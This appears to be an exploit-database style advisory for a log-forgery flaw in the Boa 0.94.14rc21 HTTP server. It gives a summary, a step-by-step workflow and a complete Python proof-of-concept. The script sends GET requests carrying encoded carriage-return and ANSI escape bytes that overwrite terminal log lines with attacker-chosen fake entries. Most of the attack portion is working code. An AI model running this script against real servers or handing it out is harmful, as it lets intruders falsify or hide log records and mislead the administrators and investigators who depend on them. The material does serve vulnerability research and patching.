Boa 0.94.14rc21 HTTP Server Log Forgery

===================================================================================================================================
|# Title      : Boa 0.94.14rc21 HTTP Server Log Forgery                                                                           |
|# Author     : indoushka                                                                                                         |
|# Tested on  : Boa HTTP Server 0.94.14rc21 – Debian build                                                                        |
|# File type  : POC                                                                                                               |
|# Vendor     : Boa Webserver                                                                                                     |
===================================================================================================================================

[+] Summary : a potential HTTP log-forgery vulnerability in the Boa Web Server.

[+] The script sends a specially crafted HTTP GET request containing :

- Carriage Return (CR – \r): Attempts to overwrite the current log line.
- Escape (ESC – \x1b): Introduces an ANSI terminal control sequence.
- ANSI 2K: Clears the current terminal line.
- Fake log message: Attempts to insert a misleading entry into the server logs.

[+] Technical workflow :

1. Accepts a target URL and a forged log message.
2. Constructs a payload containing CR and ESC characters.
3. URL-encodes the payload byte by byte.
4. Sends an HTTP GET request using Python requests.
5. Displays the HTTP response status or any encountered error.
6. Requires explicit authorization confirmation before execution.

[+]  POC :

#!/usr/bin/env python3

import requests
import sys

def forge_log_entry(target_url: str, fake_message: str, timeout=10):
    """
    Inject a fake log line that appears as a legitimate entry.
    Uses CR (\r) + ESC to overwrite the current line in the terminal.
    
    Note: On upstream Boa, CR is allowed (not followed by LF).
    On Debian with allow_8bit, ESC also passes.
    """
    payload = b"\r\x1b[2K" + fake_message.encode() + b"\n"
    encoded = "".join(f"%{b:02X}" for b in payload)
    
    url = f"{target_url.rstrip('/')}/{encoded}"
    print(f"[*] Forging log entry: {fake_message!r}")
    print(f"[*] Payload: {payload!r}")
    
    try:
        r = requests.get(url, timeout=timeout, allow_redirects=False)
        print(f"[*] HTTP {r.status_code}")
        return {"status": r.status_code}
    except Exception as e:
        return {"error": str(e)}

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python3 forge.py <url> '<fake_message>'")
        sys.exit(1)
    
    confirm = input("Type 'AUTHORIZED' to confirm: ")
    if confirm != "AUTHORIZED":
        sys.exit(1)
    
    forge_log_entry(sys.argv[1], sys.argv[2])


Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================